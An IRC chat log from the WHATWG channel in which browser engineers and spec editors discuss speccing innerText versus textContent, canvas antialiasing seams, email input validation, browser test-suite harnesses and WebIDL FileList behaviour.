Note WebKit has a high-cost for changing their innerText behaviour as a lot of their tests depend upon the exact serialization.

[15:35:00.0000] <AryehGregor>
Nice.

[15:35:01.0000] <othermaciej>
we could easily make the tests use something than innerText

[15:35:02.0000] <othermaciej>
it's not encoded in every text or anything

[15:36:00.0000] <AryehGregor>
So what's an example of a difference between innerText and textContent?

[15:36:01.0000] <othermaciej>
but it would suck to carry around multiple conversion to plaintext algorithms

[15:36:02.0000] <gsnedders>
othermaciej: Converting existing tests' expectations would be expensive, though, at least provided you actually check the change

[15:37:00.0000] <gsnedders>
AryehGregor: head element, scripts

[15:37:01.0000] <AryehGregor>
Ah.

[15:37:02.0000] <othermaciej>
yeah, but there's no need to convert expectations

[15:37:03.0000] <othermaciej>
we would convert the test harness

[15:37:04.0000] <gsnedders>
othermaciej: Ah, to match the current innerText behaviour?

[15:39:00.0000] <AryehGregor>
innerText also seems to do newline collapsing of some kind.

[15:40:00.0000] <AryehGregor>
Actually, whitespace collapsing generally.

[15:40:01.0000] <AryehGregor>
/me gets to work writing a spec

[15:51:00.0000] <gsnedders>
AryehGregor: Also note it should be affected by the computed style

[15:51:01.0000] <gsnedders>
http://software.hixie.ch/utilities/js/live-dom-viewer/saved/809 for example

[15:51:02.0000] <AryehGregor>
Yeah, I've figured that part out.

[15:52:00.0000] <AryehGregor>
display: none is suppressed, display: block adds newlines, etc.

[15:52:01.0000] <gsnedders>
AryehGregor: the float and position properties change semantics too

[15:52:02.0000] <AryehGregor>
Oh, dear.

[15:53:00.0000] <AryehGregor>
Wait, how so in this case?  I get "foo magic bar" as I'd expect.

[15:54:00.0000] <gsnedders>
Try removing the float.

[15:54:01.0000] <gsnedders>
It becomes "foo\nmagic\nbar" v. "foo magic bar" with the float

[15:54:02.0000] <AryehGregor>
Ah, so it makes it behave like an inline.

[15:54:03.0000] <AryehGregor>
Or something.

[15:54:04.0000] <AryehGregor>
Does Firefox not implement this?

[15:55:00.0000] <gsnedders>
innerText isn't supported by Gecko

[15:55:01.0000] <AryehGregor>
Doesn't that imply it's not needed for compat, so we can retire it in favor of textContent?  Why do we want to spec it?

[15:58:00.0000] <AryehGregor>
Also, on a somewhat related note, does anyone know if Ranges' stringifier does anything weird?  It looks like it behaves more or less like textContent, just copying the DOM.

[15:58:01.0000] <AryehGregor>
Which would be nice if true.

[15:58:02.0000] <Philip`>
if(vjo.dsf.client.Browser.bFirefox){oL.textContent=_d;}else{oL.innerText=_d;}

[15:59:00.0000] <Philip`>
(on search.blogs.ebay.com)


2011-01-31
[16:00:00.0000] <AryehGregor>
And there are lots of such sites, I guess?

[16:00:01.0000] <AryehGregor>
And they use it in more complicated ways, so that you can't just alias it to textContent?

[16:00:02.0000] <AryehGregor>
Or at least spec it to not be so complicated?

[16:00:03.0000] <gsnedders>
Certainly Opera's impl isn't much different to textContent

[16:00:04.0000] <gsnedders>
Though we do have open site compat bugs because of this

[16:00:05.0000] <AryehGregor>
Interesting.

[16:00:06.0000] <AryehGregor>
What do those sites do in Gecko?

[16:01:00.0000] <Philip`>
AryehGregor: I don't know if there are lots

[16:01:01.0000] <Philip`>
There's ones with other kinds of fallback like

[16:01:02.0000] <Philip`>
if (wnd.document.body.innerText != undefined) sel_text=wnd.document.body.innerText; else sel_text=wnd.document.body.innerHTML;

[16:02:00.0000] <Philip`>
if(a[0].innerText!=undefined)a[0].innerText=d;else a[0].textContent=d;

[16:03:00.0000] <AryehGregor>
Both of those seem like they should work if you just don't have innerText, or substitute textContent.

[16:04:00.0000] <gsnedders>
AryehGregor: MooTools uses: script[(Browser.Engine.webkit && Browser.Engine.version < 420) ? 'innerText' : 'text'] = text;

[16:06:00.0000] <Philip`>
return(elem.textContent||elem.innerText||Sizzle.getText([elem])||"").indexOf(match[3])>=0

[16:07:00.0000] <AryehGregor>
All these except the first (explicit browser-sniffing) seem like you could just drop innerText.

[16:08:00.0000] <gsnedders>
Yeah, there's a fair amount of stuff that just uses it with alternations

[16:08:01.0000] <Philip`>
These are just the ones that have some fallback, though - I see quite a few that don't appear to

[16:08:02.0000] <gsnedders>
A lot of the site-compat bugs we have the site doesn't seem to use innerText any more

[16:08:03.0000] <AryehGregor>
Then they break in Firefox?

[16:08:04.0000] <Philip`>
In one case it's in a <script language="jscript"> so the script doesn't even run in Firefox

[16:09:00.0000] <AryehGregor>
othermaciej, do you know why WebKit implements innerText, and if it could just drop support?

[16:10:00.0000] <othermaciej>
What reason would we have to drop support?

[16:11:00.0000] <othermaciej>
I believe the reason we have it is that we inherited it from KHTML over 10 years ago - since then we made it match what other browsers do much better.

[16:11:01.0000] <othermaciej>
At this point, it's likely that WebKit-specific content depends on it

[16:11:02.0000] <AryehGregor>
Hmm, okay.

[16:11:03.0000] <AryehGregor>
For WebKit-specific content, it doesn't really need a spec, though.

[16:12:00.0000] <othermaciej>
also, more generally, it is a more useful "convert to plaintext" operation than textContent

[16:12:01.0000] <AryehGregor>
Yeah, that's true.

[16:12:02.0000] <AryehGregor>
Might be worth speccing just because of that.

[16:12:03.0000] <Philip`>
http://realestateview.com.au/cgi-bin/inspecttimes.pl?GID=2&GID=5&tp=2lease&Con=L says " properties open for inspection this week." with no number in Firefox

[16:12:04.0000] <AryehGregor>
I had an author remark to me that it was annoying that Selection's stringifier didn't insert newlines into things like <p>a<p>b, for instance.

[16:13:00.0000] <AryehGregor>
Do we know if Gecko wants to implement it?

[16:13:01.0000] <AryehGregor>
https://bugzilla.mozilla.org/show_bug.cgi?id=innertext

[16:14:00.0000] <Philip`>
Seems like zillions of pages use innerText, though mostly in trivial ways where it doesn't really matter if it's not supported, or they use textContent as an equivalent

[16:14:01.0000] <Philip`>
but that probably means there's a large absolute number that depend on it with no fallback

[16:16:00.0000] <othermaciej>
I think Mozilla folks have explicitly said they don't want to implement innerText

[16:16:01.0000] <othermaciej>
I did not find their reasoning very persuasive

[16:17:00.0000] <AryehGregor>
Hixie, does Gecko want to implement innerText?  If not, is it still worth writing a spec?

[16:17:01.0000] <gsnedders>
We implemented it, FWIW, at IE's peak, where web-compat was very much a game of match-IE-as-much-as-possible

[16:19:00.0000] <gsnedders>
We have no strong opinion about whether it stays or not — if it isn't going to get specced, we will drop it.

[16:19:01.0000] <AryehGregor>
https://bugzilla.mozilla.org/show_bug.cgi?id=264412#c10

[16:20:00.0000] <gsnedders>
Basically we either want interop, be it through a spec or not supporting it.

[16:23:00.0000] <erlehmann>
hey, i used to use innerText.

[16:31:00.0000] <benschwarz>
Philip`: you nailed it on the omit tags option.

[16:32:00.0000] <benschwarz>
Hixie: When you're around… https://github.com/benschwarz/developers.whatwg.org/issues/#issue/22

[16:47:00.0000] <othermaciej>
gsnedders: KHTML developers were much more prone to blindly copy IEisms than WebKit devs are, but I do think the usefulness of innerText exceeds its semi-redundancy

[16:51:00.0000] <AryehGregor>
Yeah, it does seem more useful than textContent, although harder to spec.

[17:29:00.0000] <AryehGregor>
Opera is the only browser to display aryeh.name's favicon, hurrah.

[17:29:01.0000] <AryehGregor>
Now off to bed with me.

[17:47:00.0000] <Hixie>
AryehGregor: aim for the behaviour of the plurality of browsers. If only one browser doesn't do something, then we should spec it and let the browser vendors argue amongst themselves about whether the others should remove support instead.

[17:47:01.0000] <Hixie>
AryehGregor: it's always easier to make decisions like that from a position with data (e.g. having a spec), anyway

[22:38:00.0000] <benschwarz>
Hey folks

[22:48:00.0000] <asmodai>
http://petewarden.typepad.com/searchbrowser/2011/01/a-fundamental-bug-in-html5s-canvas.html <-- anyone saw that?

[22:51:00.0000] <hsivonen>
asmodai: that problem is unsolvable without trading away performance or geometric accuracy

[22:52:00.0000] <hsivonen>
asmodai: the suggestion about stroking the paths is the easiest content-side solution

[22:53:00.0000] <asmodai>
Figures people would have thought about it. ;)

[23:05:00.0000] <othermaciej>
hsivonen: I wonder how Flash avoids the problem

[23:05:01.0000] <othermaciej>
if you have alpha, then stroking the path is not enough

[23:05:02.0000] <othermaciej>
to get guaranteed seamless joins I suspect you need to turn off antialiasing

[23:23:00.0000] <hsivonen>
othermaciej: or you can trade away perf by painting the whole thing at a higher resolution without AA and then doing a bicubic downsample

[23:23:01.0000] <othermaciej>
I assume that isn't what Flash does

[23:23:02.0000] <othermaciej>
I am curious what they do

[23:23:03.0000] <hsivonen>
me, too

[23:24:00.0000] <othermaciej>
in canvas there's no way to turn off AA, so those things aren't options

[23:24:01.0000] <hsivonen>
Maybe Adobe knows something we don't

[23:24:02.0000] <hsivonen>
to turn off canvas AA, there's the option of running Chrome

[23:24:03.0000] <hsivonen>
or does Chrome have AA now?

[23:35:00.0000] <othermaciej>
I wasn't aware that their canvas ever lacked AA

[00:12:00.0000] <Hixie>
can't you avoid that problem (in principle, not in current canvas) by providing the renderer with all the geometry of the object and having it all painted at once?

[00:13:00.0000] <Hixie>
i can't see any way to avoid it if you're painting geometry piecemeal

[00:14:00.0000] <Hixie>
but anyway, in principle this should be solvable once we introduce Path primitives

[00:15:00.0000] <estellevw>
Question about the multiple attribute on email input type: according to spec, the emails should be separated with a comma (not a comma+space). FF4 and Opera support the comma and comma+space. Webkit does not. Is the spec changing? is this an issue people are debating?

[00:16:00.0000] <Hixie>
what do you mean by "support"? in the attribute, or in submission?

[00:16:01.0000] <estellevw>
:valid versus :invalid

[00:16:02.0000] <estellevw>
only opera seems to be validating on submission

[00:16:03.0000] <estellevw>
sorry, opera and FF4

[00:17:00.0000] <estellevw>
and both are accepting the space

[00:17:01.0000] <estellevw>
on submission

[00:18:00.0000] <Hixie>
well there's no way to set it to have a space, so I don't see how it could matter for :valid or :invalid

[00:18:01.0000] <Hixie>
are you sure you don't mean the user interface?

[00:19:00.0000] <estellevw>
Yes, i am looking at the user interface, not testing it via js/DOM

[00:19:01.0000] <Hixie>
the user interface isn't defined in the spec, it doesn't have to use commas at all

[00:19:02.0000] <Hixie>
it could ask you to enter the e-mail addresses by thought control or by speech or etched on a piece of wood :-)

[00:19:03.0000] <Hixie>
the browser is responsible for splitting the user input into separate e-mail addresses and concatenating them with commas automatically

[00:21:00.0000] <estellevw>
"When the multiple attribute is specified on the element. The element's values are the result of splitting on commas the element's value."

[00:21:01.0000] <benschwarz>
Hixie: still around?

[00:22:00.0000] <annevk>
estellevw, both are referring to the underlying values

[00:22:01.0000] <Hixie>
benschwarz: yo

[00:22:02.0000] <annevk>
estellevw, not the "UI value"

[00:22:03.0000] <hsivonen>
Hixie: I suppose it theory you could avoid the AA problem if the rendered had all the geometry available to it.

[00:22:04.0000] <benschwarz>
Hixie: heyo. Kept missing you today

[00:22:05.0000] <hsivonen>
*in theory

[00:22:06.0000] <benschwarz>
Hixie: did you see my messages?

[00:22:07.0000] <Hixie>
benschwarz: yeah sorry kept going out and stuff

[00:22:08.0000] <estellevw>
thanks

[00:23:00.0000] <Hixie>
benschwarz: for blog posts, feel free to post whatever whenever, it's an open blog :-)

[00:23:01.0000] <Hixie>
benschwarz: for the credits, it's entirely up to you

[00:23:02.0000] <benschwarz>
Hixie: just wasn't sure how to word it.

[00:23:03.0000] <benschwarz>
if you're happy with it as is, I'll leave until I come up with something better

[00:24:00.0000] <benschwarz>
Hixie: whats an open blog?

[00:24:01.0000] <Hixie>
benschwarz: anyone can post

[00:24:02.0000] <benschwarz>
oh right

[00:25:00.0000] <hsivonen>
Hixie: well, admin approval is required

[00:25:01.0000] <Hixie>
benschwarz: you mean the third paragraph of the About bit?

[00:25:02.0000] <benschwarz>
Hixie: yeah

[00:25:03.0000] <hsivonen>
Hixie: now ahead of time, because we had a serious problem with Polish furniture spam

[00:25:04.0000] <Hixie>
hsivonen: i meant open policy, but yeah

[00:25:05.0000] <benschwarz>
Hixie: and regarding the chrome frame code—you were right :)

[00:26:00.0000] <benschwarz>
it will cause invalidation and provide little to no benefit given this audience

[00:26:01.0000] <benschwarz>
I'd prefer the spec to validate, because people will be looking

[00:26:02.0000] <hsivonen>
benschwarz: have you registered for the blog already?

[00:26:03.0000] <benschwarz>
:)

[00:26:04.0000] <benschwarz>
I haven't hsivonen

[00:26:05.0000] <Hixie>
benschwarz: looks ok to me. might be useful for new readers who don't know what the html spec is at all to let them know it's a variant of the actual HTML spec done at the WHATWG, and to clarify that the credits are about the styling and presentation and not the content, but that would be my only comment. (maybe link to the acks for more or something?)

[00:27:00.0000] <benschwarz>
link to acks is a good idea

[00:27:01.0000] <hsivonen>
benschwarz: if new user registration is now blocked (as it should be), if you /msg me a desired username, your email address and your blog URL, I can try creating an account for you

[00:28:00.0000] <benschwarz>
hsivonen: sure, I'll wait to bother you when I have something to write :)

[00:28:01.0000] <hsivonen>
benschwarz: ok

[00:28:02.0000] <benschwarz>
thanks :)

[00:29:00.0000] <hsivonen>
kudos to whoever cleaned up the blog user database, BTW

[00:29:01.0000] <hsivonen>
was the process automated somehow?

[00:30:00.0000] <benschwarz>
Hixie: so what do you say about removing the chrome frame tag?

[00:30:01.0000] <hsivonen>
whoa! only markp has posted more posts on the whatwg blog than I have

[00:31:00.0000] <Hixie>
benschwarz: you mean the microsoft splinter-the-web pragma that chrome adopted as a trigger for their plugin? you can guess my suggestion from the way i've not made it valid :-)

[00:31:01.0000] <benschwarz>
Hixie: burn it :)

[00:31:02.0000] <benschwarz>
you were right when we first disagreed :D

[00:32:00.0000] <benschwarz>
Gotta play a little by the rules for the spec, right?

[00:32:01.0000] <Hixie>
benschwarz: the rules are intended for all documents, not just the spec

[00:32:02.0000] <Hixie>
benschwarz: it's no more important to follow them for the spec than anything else

[00:33:00.0000] <Hixie>
their purpose is just to help catch mistakes and steer people away from bad practices

[00:51:00.0000] <benschwarz>
Hixie: showing best practice in a spec important too

[00:52:00.0000] <benschwarz>
Hixie: where are you based, anyway?

[00:53:00.0000] <annevk>
hsivonen, no, but it didn't take that long

[00:53:01.0000] <annevk>
note that someone else needs to make an account for you these days

[00:53:02.0000] <annevk>
free registration did not really work well

[01:55:00.0000] <annevk>
http://blog.whatwg.org/weekly-sniffing-p2p

[01:56:00.0000] <annevk>
I will make any major changes requested within the next hour -- otherwise I can add them to the pile for next week

[01:56:01.0000] <annevk>
Grammar fixes are most welcome anytime

[02:07:00.0000] <annevk>
Hmm, every morning starts with one spam entry on the Wiki

[02:07:01.0000] <matjas>
I want t-shirt saying “I read the WHATWG Weekly. Weekly.”

[02:07:02.0000] <annevk>
I wonder when it will go out of control

[02:07:03.0000] <annevk>
matjas, haha

[02:20:00.0000] <annevk>
HTML IS HIGH http://www.flickr.com/photos/8624599@N07/5370520043/

[02:20:01.0000] <annevk>
want

[02:28:00.0000] <hsivonen>
I was rather suprised to find that Firefox as already carrying the footprint burden for Content MathML element names as pre-interned strings without actually doing anything with those names

[02:31:00.0000] <heycam>
ahaha http://www.flickr.com/photos/8624599@N07/5370515439/in/photostream/ that is too awesome, why haven't I seen that before

[02:32:00.0000] <hsivonen>
heycam: also SVG bitterness: http://www.flickr.com/photos/8624599@N07/5371122488/in/photostream/

[02:32:01.0000] <heycam>
heheh

[02:46:00.0000] <annevk>
Hixie, blog.whatwg.org apparently gets quite a bit of traffic from whatwg.org so it is being seen

[03:18:00.0000] <asmodai>
Hixie / hsivonen : looks like truncating the coordinates solves a lot of the issues

[03:18:01.0000] <asmodai>
http://www.reddit.com/r/programming/comments/fc5f4/a_fundamental_bug_in_html5s_canvas/

[03:24:00.0000] <pkondzior>
hello, where i can find html5 tests for hml5 event handling ?

[03:34:00.0000] <jgraham>
pkondzior: I'm not sure there are any tests for event handling in general

[03:35:00.0000] <pkondzior>
jgraham: well i didn't found any either

[03:37:00.0000] <pkondzior>
jgraham: is there are any plan for that  at least ?

[03:37:01.0000] <jgraham>
It is planned to test everything

[03:38:00.0000] <jgraham>
But contributions are needed

[03:38:01.0000] <pkondzior>
jgraham: is there any project tracking for that ?

[03:39:00.0000] <pkondzior>
jgraham: todo ? plan description ?

[03:39:01.0000] <jgraham>
pkondzior: Well, there is a mailing list

[03:39:02.0000] <jgraham>
public-html-testsuite

[03:43:00.0000] <jgraham>
pkondzior: Beyond that, we are rather bad at measuring coverage at the moment

[03:44:00.0000] <pkondzior>
i see that http://test.w3.org/html/tests/ doesn't look very optimistic with compare to whole spec ;)

[03:45:00.0000] <jgraham>
Yeah, there is some way to go

[03:45:01.0000] <pkondzior>
i thnik google, opera, microsoft and mozilla have enough resources to resolve this issue

[03:45:02.0000] <jgraham>
pkondzior: Well, in principle, yes

[03:46:00.0000] <jgraham>
But making spec tests is not always the main priority

[03:46:01.0000] <jgraham>
Compared to making tests for browser-specific issues

[03:47:00.0000] <pkondzior>
hmm but here shouldn't it be main priority ? i mean 1 set of conformance test for HTML5 would give base for all vendors to see how big part of whole specification they really implement

[03:48:00.0000] <pkondzior>
right now i feel that any news about HTML5 support in XYZ browser without this test is only FUD

[03:49:00.0000] <jgraham>
Right, it is something that we (Opera) do whenever possible. But assuming that browser makers will fill out the entire testsuite is optimistic

[03:50:00.0000] <jgraham>
Especially for old stuff that is already implemented

[03:50:01.0000] <gsnedders>
Also note that there is a cost for releasing tests, especially older ones

[03:50:02.0000] <pkondzior>
gsnedders: i understand that timing is important here

[03:50:03.0000] <jgraham>
We are much more likely to be working on new stuff and hence make releasable tests for that stuff

[03:51:00.0000] <AryehGregor>
Tests should theoretically be a priority, but apparently no one feels it's enough of a priority to really start releasing really large numbers of them.

[03:51:01.0000] <Philip`>
asmodai: Only for horizontal/vertical lines, where that makes the lines line up with pixel boundaries so there's no antialiasing

[03:51:02.0000] <gsnedders>
AryehGregor: There's also the fact that most of our existing tests don't use the harness the TF has decided upon, the fact that ten years ago no browser wrote testsuites on the scale they do today

[03:52:00.0000] <Philip`>
asmodai: (The problem is that antialiasing implementations aren't designed so that the left half of a pixel plus the right half of a pixel is equivalent to drawing the whole pixel)

[03:52:01.0000] <AryehGregor>
For WebKit and Mozilla, AFAICT none of their tests use the TF's harness.  They have to manually port them if they want to use them.

[03:53:00.0000] <Philip`>
asmodai: (Instead it's like drawing a whole pixel at 50% opacity, and then again at 50%, so the result is 75% opacity (under normal compositing modes) instead of the desired 100%)

[03:53:01.0000] <AryehGregor>
Also, at least my tests are way too exhaustive to run on every trybot build or whatever.

[03:53:02.0000] <AryehGregor>
I should probably try to pare them down by a couple orders of magnitude.

[03:53:03.0000] <Ms2ger>
I'm not sure we should force all tests to use the same harness, tbh

[03:53:04.0000] <AryehGregor>
(Like my extend() tests take 30 seconds to run on Firefox 4.  Just for extend().)

[03:54:00.0000] <Ms2ger>
As long as we define a callback for the test runner

[03:54:01.0000] <AryehGregor>
(But the tests are extremely repetitive and could be pared down a lot if performance were needed.)

[03:54:02.0000] <gsnedders>
AryehGregor: We run testsuites that complete on every build, FWIW

[03:54:03.0000] <AryehGregor>
Yes, Mozilla and WebKit do something similar.

[03:54:04.0000] <AryehGregor>
Whereas I'm writing tests more to be comprehensive than to finish quickly.

[03:54:05.0000] <AryehGregor>
Actually, one of my two Mozilla patches had to be fixed because the test was taking three seconds or something to run for some trivial feature.

[03:55:00.0000] <AryehGregor>
(it was inputting 65537 bytes into a textarea by synthesized keypresses or something)

[03:55:01.0000] <Ms2ger>
Which, arguably, isn't really essential to test

[03:56:00.0000] <AryehGregor>
Certainly not on every build.

[03:56:01.0000] <AryehGregor>
But AFAIK, there were some browsers that wouldn't correctly handle more than 64k of text in a textarea.

[03:57:00.0000] <AryehGregor>
So it's reasonable for conformance tests, but not regression tests.

[03:57:01.0000] <AryehGregor>
The requirements are somewhat different.

[03:58:00.0000] <AryehGregor>
(but my tests are still gratuitously repetitive, mainly because they're easier to write that way)

[04:02:00.0000] <jgraham>
AryehGregor: tbh we would probably try to run those tests as regression tests without paring them down.

[04:03:00.0000] <AryehGregor>
You're saying you'd run tests that take 20 seconds in Opera 11, just to test Selection.extend()?

[04:03:01.0000] <jgraham>
(although if it happened that we had 30s of tests for every DOM method, that could be a problem)

[04:04:00.0000] <AryehGregor>
Yeah, you've got to extrapolate it.

[04:04:01.0000] <jgraham>
(it depends if our test system get faster faster than the tests grow though)

[04:04:02.0000] <AryehGregor>
(it's more like 20 s in Opera -- Firefox 4 tends to be the slowest at running all the JS tests I write)

[04:05:00.0000] <jgraham>
Pretty sure we already have tests that take way longer than 20s e.g. some of the javascript library testsuites

[04:05:01.0000] <gsnedders>
jgraham: Yes, we would. 20s is nothing compared with some of the testsuites we run today.

[04:05:02.0000] <gsnedders>
AryehGregor, not jgraham.

[04:06:00.0000] <AryehGregor>
Yeah, I think your test harness is a large part of the problem.  My reflection tests run a lot more tests and only take a few seconds.  Although it could also partly be that Selection is slower than pure DOM operations for whatever reason.

[04:06:01.0000] <AryehGregor>
gsnedders, yes, but for one lousy method?  There have to be thousands of comparably large features that you'd want to test to a similar extent.

[04:06:02.0000] <jgraham>
AryehGregor: We don't have thousands of tests on offer for those other methods though

[04:07:00.0000] <AryehGregor>
Yet.

[04:07:01.0000] <gsnedders>
We run a large number of jQuery, Dojo, YUI, Prototype, and other testsuites, for multiple versions of the libraries. That takes a lot of time to run.

[04:07:02.0000] <gsnedders>
AryehGregor: Selection is something where web-compat requires some quite odd things, and there isn't too much of a difference between 10s and 20s.

[04:07:03.0000] <jgraham>
It seems insane to refuse tests for one method because hypothetically, in the future, we might have a performance problem if we had a similar number of tests for other methods

[04:08:00.0000] <jgraham>
AryehGregor: If you can pinpoint performance problems in the test harness, that would be useful

[04:08:01.0000] <AryehGregor>
I could probably get those tests down to ~1s without greatly reducing how much they test.

[04:08:02.0000] <AryehGregor>
I auto-generated them from three arrays in an O(K*M*N) way.

[04:09:00.0000] <AryehGregor>
Which is convenient for writing, but a total waste of resources.

[04:09:01.0000] <gsnedders>
AryehGregor: Equally, FWIW, we have more than doubled the number of tests we run in the past couple of years.

[04:09:02.0000] <Philip`>
Maybe the test harness should be designed to run in parallel

[04:10:00.0000] <Philip`>
so you can run one copy per core per machine

[04:10:01.0000] <Philip`>
and then throw more machines at it when it's too slow

[04:10:02.0000] <Philip`>
and it would share out the tests to balance the load

[04:10:03.0000] <Philip`>
/me wonders if anybody does that kind of thing already

[04:10:04.0000] <gsnedders>
Philip`: the regression testing harness? Ours is.

[04:10:05.0000] <jgraham>
Philip`: parallelising across a single page seems silly

[04:11:00.0000] <jgraham>
Philip`: you can easilly parallelise at a per-page level

[04:11:01.0000] <gsnedders>
Philip`: I have the impression MS's is too.

[04:11:02.0000] <jgraham>
with no changes to the ahrness

[04:11:03.0000] <jgraham>
*harness

[04:11:04.0000] <Philip`>
/me has only seen Mozilla's, which looks like it runs all the test cases serially

[04:11:05.0000] <AryehGregor>
Mozilla's parallelizing across builds, though, right?

[04:12:00.0000] <Philip`>
(though I could be mistaken)

[04:12:01.0000] <jgraham>
Oh. That seems quite bad

[04:12:02.0000] <Philip`>
AryehGregor: Yes, but that doesn't help when the tests take too long per build

[04:12:03.0000] <wilhelm>
We have about 200 machines testing in parallel. They get a small batch of tests each.

[04:12:04.0000] <AryehGregor>
True.

[04:12:05.0000] <AryehGregor>
"We" being who, Mozilla?

[04:12:06.0000] <jgraham>
Parallelising across builds doesn't seem nearly so useful because there will be << builds than tests

[04:12:07.0000] <AryehGregor>
Or someone else?

[04:12:08.0000] <wilhelm>
AryehGregor: Opera.

[04:12:09.0000] <jgraham>
AryehGregor: Opera

[04:12:10.0000] <AryehGregor>
Ah.

[04:13:00.0000] <AryehGregor>
That seems like the smart way to do it.

[04:13:01.0000] <wilhelm>
That, too, has its share of problems. (c:

[04:13:02.0000] <jgraham>
(I think Mozilla divide up into different test types, but each test type might have to run in serial)

[04:14:00.0000] <gsnedders>
jgraham: That's what both Moz and WebKit do, IIRC

[04:16:00.0000] <Ms2ger>
We've got ten groups of test, each running on one machine or vm

[04:16:01.0000] <Philip`>
http://atlee.ca/blog/2009/11/02/what-happens-when-you-push/ - hmm, looks like mochitests are split into 5 sections that can run in parallel

[04:19:00.0000] <gsnedders>
http://my.opera.com/core/blog/2009/10/13/automated-testing-of-the-browser-core is the most detailed in-one-place overview of our system

[04:19:01.0000] <wilhelm>
A bit old, though.

[04:19:02.0000] <jgraham>
Yeah, the numbers are very wrong

[04:20:00.0000] <Ms2ger>
http://webkit.org/blog/ had some posts about WebKit's ust now

[04:22:00.0000] <gsnedders>
(Feel free to ask more, I'm sure someone (i.e., wilhelm, sometimes jgraham) can answer most questions. *vanishes*)

[04:37:00.0000] <zcorpan>
typedef sequence<File> FileList; - does webidl say that window.FileList should be defined (in ecmascript binding) ?

[04:37:01.0000] <zcorpan>
heycam: ^

[04:40:00.0000] <zcorpan>
i can't find anything about typedefs in the ecmascript binding

[04:42:00.0000] <zcorpan>
heycam: also, typedef DOMTimeStamp unsigned long long; in section 6.1 seems to have the syntax wrong (should be identifier last)

[04:46:00.0000] <zcorpan>
webkit and gecko both expose window.FileList, but webkit says it's a function while gecko says it's an object (with typeof)

[04:51:00.0000] <Ms2ger>
FWIW, we don't support sequence, FileList is just a NodeList-style interface

[04:53:00.0000] <zcorpan>
i see

[05:23:00.0000] <zcorpan>
/me marks hgroup as 'being considered for removal'

[05:32:00.0000] <hsivonen>
aargh. Is SVG 1.1 2nd ed. not available as a single-file version?

[05:33:00.0000] <hsivonen>
/me reads the 1st ed. PDF instead

[05:34:00.0000] <zcorpan>
Ms2ger: seems nobody implements FileList as a sequence<File>

[05:35:00.0000] <zcorpan>
http://software.hixie.ch/utilities/js/live-dom-viewer/saved/814 should say 'false' if i'm reading webidl correctly (sequence is exposed as an array in ecmascript and [] instanceof FileList is false)

[05:35:01.0000] <hsivonen>
wow. SVG naming sure is confusing. there's a CSS property, an attribute, an element and and @-rule named color-profile

[05:36:00.0000] <hsivonen>
but on the case of clip-path, the attribute is called that but the element is clipPath

[05:36:01.0000] <zcorpan>
"use the color-profile tag!"

[05:37:00.0000] <hsivonen>
every time I try to read the SVG spec, it's even worse than I expected :-(

[05:38:00.0000] <Ms2ger>
Sounds like CSS

[05:39:00.0000] <zcorpan>
is FileList a <sequence> for xhr file upload?

[05:39:01.0000] <zcorpan>
so you can do send([file1, file2]) and have it work?

[05:41:00.0000] <zcorpan>
/me doesn't see that xhr2 supports that

[05:46:00.0000] <zcorpan>
hsivonen: btw i heard the fancy tinyarro.ws urls are invalid with idna2008

[05:49:00.0000] <karlcow>
http://syntensity.com/static/python.html

[05:51:00.0000] <hsivonen>
zcorpan: why?

[06:29:00.0000] <gsnedders>
zcorpan: Does window.FileList implement [[Call]]?

[06:32:00.0000] <gsnedders>
zcorpan: (per ES5, host objects that implement [[Call]] must return "function"; host objects that don't implement call can return anything except "undefined", "boolean", "number", or "string")

[07:22:00.0000] <zcorpan>
gsnedders: FileList.prototype.call is undefined

[07:22:01.0000] <zcorpan>
gsnedders: or should i check it in some other way?

[07:23:00.0000] <jgraham>
zcorpan: That won't work

[07:23:01.0000] <jgraham>
[[Call]] is an internal method

[07:23:02.0000] <jgraham>
I guess one can try calling the object and see what happens

[07:24:00.0000] <zcorpan>
throws an exception: gecko says error: FileList is not a function on line 2, webkit says Uncaught TypeError: Illegal constructor on line 1

[07:25:00.0000] <jgraham>
zcorpan: that is somewhat consistent with the fact that gecko don't consider it a function and webkit do

[07:26:00.0000] <jgraham>
(did you just call it, or also use "new"?)

[07:26:01.0000] <zcorpan>
i called it

[07:35:00.0000] <MikeSmith>
zcorpan: thanks for catching the unclosed-elements-in-list thing

[07:36:00.0000] <zcorpan>
MikeSmith: np, i'm sure there are more lurking :)

[07:36:01.0000] <MikeSmith>
yeah

[07:37:00.0000] <MikeSmith>
the p-element-in-head reporting is a little harder to refine

[07:39:00.0000] <zcorpan>
shouldn't be very hard though, right?

[07:47:00.0000] <MikeSmith>
zcorpan: it's all relative :)

[07:47:01.0000] <MikeSmith>
easy for somebody who actually knows what he's doing, harder for me

[07:49:00.0000] <zcorpan>
MikeSmith: :) i don't know how to put it down into code, but conceptually my thinking was to keep some state (a token with its location) when body is implied, and adding a check when seeing a <body> tag

[07:49:01.0000] <MikeSmith>
yeah, definitely doable

[07:50:00.0000] <MikeSmith>
in this case, the state information needed may actually be available on the existing stack, without needing to save it separately

[07:50:01.0000] <MikeSmith>
hmm, or maybe not

[07:51:00.0000] <MikeSmith>
anyway, I will try messing around with it a bit today or tomorrow

[07:51:01.0000] <zcorpan>
cool

[08:32:00.0000] <bfrohs>
Is there a specific reason why the capitalization varies for tags/attributes in the spec's html examples?

[08:33:00.0000] <Ms2ger>
To avoid blessing one capitalization as the preferred one

[08:34:00.0000] <bfrohs>
Ah, thank ya

[08:36:00.0000] <MikeSmith>
bfrohs: because, as Redd Foxx once said, A foolish consistency is the hobgoblin of little minds.

[08:36:01.0000] <MikeSmith>
or maybe it was David Lee Roth that said it

[08:36:02.0000] <MikeSmith>
anyway, one of those guys

[09:28:00.0000] <karlcow>
http://infrequently.org/2011/01/cutting-the-interrogation-short/

[09:34:00.0000] <jgraham>
karlcow: I have serious difficulty beleiving that a one-time detect of some features is a significant performance problem

[09:35:00.0000] <jgraham>
I guess some might be hard to detect

[09:35:01.0000] <TabAtkins>
It is when you're trying to get page-load times < 100ms

[09:35:02.0000] <TabAtkins>
Which is a serious goal here at Google.  We'd like to find ways the entire web can be that fast. ^_^

[09:35:03.0000] <jgraham>
Oh, this is one of those "everyone should do this because Google want it" thing

[09:36:00.0000] <jgraham>
s

[09:36:01.0000] <TabAtkins>
I detect a note of hostility, which I find confusing.

[09:36:02.0000] <jgraham>
Ignoring the fact that Google engineers are unusually capable

[09:36:03.0000] <karlcow>
jgraham: my issue being that most of the problems I have on a daily basis is bad UA sniffing. So I don't see this improving just by magic because we have a two steps scenarios with more opportunities to fail. But maybe it should be tested at least

[09:36:04.0000] <jgraham>
karlcow: Right, that's something I see a lot too

[09:37:00.0000] <jgraham>
I mean we see the same things, so it's not surprising :)

[09:37:01.0000] <TabAtkins>
